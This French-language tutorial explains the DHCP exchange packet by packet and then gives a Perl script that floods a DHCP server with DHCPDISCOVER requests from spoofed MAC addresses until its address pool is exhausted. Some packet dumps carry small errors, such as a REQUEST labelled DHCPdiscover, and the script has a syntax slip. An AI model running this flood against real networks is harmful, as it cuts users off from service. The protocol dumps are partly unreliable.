Faille du protocole DHCP

Introduction:
Le protocole DHCP ( Dynamic Host configuration protocol ) a etais définis afin de pouvoir faciliter la gestion des parametre IP des postes client sur un réseau. Malheuresement le protocole bien que mis à jour régulièrement date d'une époque pour laquelle le domaine de la sécurité n'etais pas de mise sur la création d'un tel protocole. Bien entendus les nouvelles mises à jour doivent de se tenir compatible avec les anciennes versions.
Malheuresement DHCP est conçus sur UDP pour la couche transport, sans chiffrement n'y authentification et un usage abusif du broadcast sur la couche de liaison se qui lui vaut d'être un protocole tres peu sûre et donc facilement attaquable.

Ce tutorial va donc en premiere partie développer le fonctionnement du protocole et en seconde partie nous verrons la partie fragile du protocole et comment l'utiliser à des fins malicieuses. Nous verrons deux moyens d'y arriver le premier sera simplement une attaque de type DOS, et la deuxieme un peu plus complexe nous montrera comment permettre de prendre la place du serveur DHCP en attribuant nous même les IP à notre guise.

L'expérience suivante à pour but de prouver que DHCP ne doit pas être mis en oeuvre sur un reseau que l'on veut securiser.

Fonctionnement de DHCP

Datagramme DHCP :
Voici donc les données d'un paquet DHCP ( RFC 2131 )

Champ

Octets

Description

op

1

Type de message

htype

1

Type d'adresse physique (ethernet = 0x01)

hlen

1

Longueur de l'adresse physique (ethernet = 0x06 )

hops

1

Nombre de sauts ( utilisé par les relais DHCP - mis à 0 par les clients )

xid

4

ID de la transaction ( nombre aléatoire défini par le client )

secs

2

Nombre de seconde écoulées depuis le début de la transaction ( positionné par le client )

flags

2

Positionnement des drapeaux

ciaddr

4

Adresse IP du client ( utilisée en cas de renouvellement de bail )

yiaddr

4

Adresse IP attribuée au serveur

siaddr

4

Adresse IP du serveur DHCP

giaddr

4

Adresse IP du relais DHCP

chaddr

16

Adresse physique du client

saddr

64

Nom du serveur DHCP ( optionnel )

file

128

Nom du fichier de démarrage bootp

options

variables

Options ( notamment routeur par défaut, serveur DNS etc ... voir tableau suivant )

 

Valeur

Description

0x01

Maque de sous-réseau

0x03

Adresse IP du routeur par défaut

0x06

Adresse IP du serveur DNS

0x2a

Adresse IP du serveur NTP

0x32

Adresse IP demandée par le client

0x33

Durée du bail

0x35

Code d'opération

0x36

Identifiant du serveur

0x3d

Identification du matériel client

Fonctionnement :
Nous allons maintenant étudier le cas le plus simple mais aussi le plus courant de l'utilisation du DHCP c'est à dire la demande d'ip d'un client sur le réseau en question avec un serveur DHCP sans relais.

Nous allons maintenant imaginer un réseau initialisé avec un client A et un serveur B. A posséde un seul moyen de communication au niveau de la couche liaison puisque il est nativement muni d'une adresse MAC. mais le client ne connais pas l'adresse mac du serveur donc le champ destination de la premiere trame Ethernet sera par conséquent l'adresse de broadcast c'est à dire ff:ff:ff:ff:ff:ff donc DHCP ( autant client que serveur ) fonctionne au dessus de la couche 4 du model ISO ( dans notre cas UDP ) ce qui pose un probleme d'adresse lors des premieres phases de négociations.

Etudions maintenant les différentes phases de négociations en analysant les datagrammes sniffer au préalable sur un réseau afin de mieu comprendre le fonctionnement du protocole, les valeurs on etait changées pour des raisons de meilleur comprhéensibilité ( je sais pas si sa se dit se mot :p )
Le client DHCP dans notre exemple A émet un premier datagramme dit "de découverte" (DHCPDISCOVER) sur le réseau afin d'établir la connection avec son serveur DHCP.

Caractéristique du datagramme:
Ethernet ----------------------
  Destination : ff:ff:ff:ff:ff:ff:ff
  Source : <@MAC A>
  Type :0x800(ip)
IP------------------------------
 
Destination : 255:255:255:255
  Source : 0.0.0.0
  Protocole : 0x11 (UDP)
UDP--------------------------
Port source : 68
Port dest : 67
DHCP------------------------
xid :<id de la transaction>
ciaddr : 0.0.0.0
yiaddr : 0.0.0.0
siaddr : 0.0.0.0
chaddr : <@MAC A>
options :
            0x35 (type de msg DHCP) : 0x01 (DHCPdiscover)

Nous pouvons constater que l'adresse MAC du client figure dans la trame, nous pouvons donc déduire que c'est cette information qui sera pris en compte et non l'adresse source de l'entête de la trame Ethernet.

Une fois le DHCPDISCOVER réceptionné le serveur propose au client  des éléments de configuration IP via un datagramme d'offre (DHCPOFFER)

Caractéristique du datagramme:
Ethernet ----------------------
  Destination : ff:ff:ff:ff:ff:ff:ff
  Source : <@MAC B>
  Type :0x800(ip)
IP------------------------------
 
Destination : 255:255:255:255
  Source : <@IP B>
  Protocole : 0x11 (UDP)
UDP--------------------------
Port source : 67
Port dest : 68
DHCP------------------------
xid :<id de la transaction>
yiaddr : <@IP proposée>
siaddr : <@IP B>
chaddr : <@MAC B>
options :
            0x01 (masque de sous réseau): <masque IP>
            0x03 (routeur par défaut) : <@IP du routeur>
            0x06(serveur dns) : <@IP du serveur DNS>
            0x35 (type de msg DHCP) : 0x02 (DHCPOFFER)
            0x36 (id du serveur) : <@IPdu serveur>
            .....

Le plus intéréssant ici est le champ de destination de la trame Ethernet. Bien que le serveur connaisse le MAC de A à l'aide du datagramme DHCPDISCOVER ( champ chaddr ) la destination est toujours celle du broadcast ( ff:ff:ff:ff:ff:ff ) ce qui veut dire que l'ensemble des équipements sure le meme reseau Ethernet vont recevoir le paquet.
Maintenant un détaille important dans cette instant précis est que le serveur  à deja reservé l'adresse en question et l'a retiré de son pool d'adresse disponibles. Nous pouvons tres bien imaginer maintenant une technique permetant un denis de service. Il suffit d'envoyer en masse des packets DHCPDISCOVER spoofer ( @mac ). Nous verrons l'application de cette attaque un peu plus tard.

Maintenant aprés réception du DHCPOFFER de B vers A, A va répondre d'un DHCPREQUEST pour valider les paramètres de configuration proposé par B.

Caractéristique du datagramme:
Ethernet ----------------------
  Destination : ff:ff:ff:ff:ff:ff:ff
  Source : <@MAC A>
  Type :0x800(ip)
IP------------------------------
 
Destination : 255:255:255:255
  Source : 0.0.0.0
  Protocole : 0x11 (UDP)
UDP--------------------------
Port source : 68
Port dest : 67
DHCP------------------------
xid :<id de la transaction>
ciaddr : 0.0.0.0
yiaddr : 0.0.0.0
siaddr : 0.0.0.0
chaddr : <@MAC A>
options :
            0x32(adresse ip demandée) : <@ip proposée par B>
            0x35 (type de msg DHCP) : 0x01 (DHCPdiscover)
            0x36 (ID de B) : <@IP de B>
            .......

Encore une fois l'usage du broadcast intervient ...

Maintenant la validation définitive de l'echange est laissée à charge du serveur qui aprés reception du DHCPREQUEST émet un DHCPACK toujours en braodcast.

Caractéristique du datagramme:
Ethernet ----------------------
  Destination : ff:ff:ff:ff:ff:ff:ff
  Source : <@MAC B>
  Type :0x800(ip)
IP------------------------------
 
Destination : 255:255:255:255
  Source : <@IP B>
  Protocole : 0x11 (UDP)
UDP--------------------------
Port source : 67
Port dest : 68
DHCP------------------------
xid :<id de la transaction>

ciaddr : 0.0.0.0

yiaddr : <@IP proposée>
siaddr : <@IP B>
chaddr : <@MAC B>
options :
            0x01 (masque de sous réseau): <masque IP>
            0x03 (routeur par défaut) : <@IP du routeur>
            0x06(serveur dns) : <@IP du serveur DNS>
            0x35 (type de msg DHCP) : 0x05 (DHCPACK)
            0x36 (id du serveur) : <@IPdu serveur>
            ......

Et pour en finir et avant de passer au chose sérieuse et donc à la pratique nous allons simplement voir l'unique étape de libération d'un IP sur le reseau, ceci s'opère par l'envois d'un DHCPRELEASE qui indique que les ressources sont libérées et donc par la meme occasion peuvent etre re utilisé.

Caractéristique du datagramme:
Ethernet ----------------------
  Destination : <@MAC serveur>
  Source : <@MAC A>
  Type :0x800(ip)
IP------------------------------
 
Destination : <@IP B>
  Source : <@IP A>
  Protocole : 0x11 (UDP)
UDP--------------------------
Port source : 68
Port dest : 67
DHCP------------------------
xid :<id de la transaction>
ciaddr : <@IP à libérer>
yiaddr : 0.0.0.0
siaddr : 0.0.0.0
chaddr : 0.0.0.0
options :
            0x35 (type de msg DHCP) : 0x07 (DHCPrelease)
           
0x36 ( id du serveur) : <@IP B>
            .....

Nous voyons que l'adresse du broadcast n'est plus utilisée donc la transmission du paquet à tout le reseau est évité, mais il n'en reste pas moin que aucune vérification n'est faite quand à la source du message le seul élément d'identification est l'ID de la transaction initial ( facilement snifable vus la lourdre utilisation du broadcast )

Mise en place de l'attaque :

L'objectif de l'attaque est d'épuiser le stock d'IP qu'un serveur DHCP peut fournir. Il est tres simple de mettre en place une tel attaque, il suffit donc comme nous l'avons vus, pour se voir attribuer une IP par le serveur d'envoyer un DHCPDISCOVER.
Nous pouvons imaginez tres simplement de créer un programme qui permette d'envoyer en masse des paquets DHCPDISCOVER et modifiant simplement la variable chaddr car c'est le seul champ vérifier par le serveur, et bien sûre il est inutile de récupérer le DHCPOFFER émis par le serveur car il n'est pas nécéssaire de l'avoir pour finaliser le processus.

Notre programme est ecris en PERL et pour une solution de simplification  nous allons utiliser le module PERL DHCPClient.pm (
http://search.cpan.org/author/JWALGENB/Net-DHCPClient-1.0/DHCPClient.pm ) qui permet la création d'un objet de type Net::DHCPclient.


/* Le programme n'est pas de moi et est recopié du MISG 2002 */
##############################################################################
#!/usr/bin/perl

use NET::DHCPClient;

my $mac_core = '00:06:5B:57:32:';

my @mac_range = (0 .. 9,A .. F);

foreach $mac1 (@mac_range){
  foreach $mac2 (@mac_range){
   $mac=$mac_core.$mac1.$mac2;
   print "Flooding from $mac \n";
   my $a = new Net::DHCPClient ( macaddr => $mac, interface => 'eth0', debug =>0, timeout => 1 )
   $mac =~ s/\:/ /g;
   $a -> discover( 61 => $mac );
  }
}
##################################################################################

Voila le serveur DHCP est maintenant HS . Sur le serveur DHCP de windows 2000 nous pouvons constater les dégats directement sur l'écran des statistiques sur l'étendue en constatant que le nombre d'adresse utilisées est de 100%.



Auteur : Kybla membre de l'idssecure. ( http://www.idssecure.com )
Contact : kybla@idssecure.com
Ce texte a etait largement inspiré du misc magasine novembre 2002 .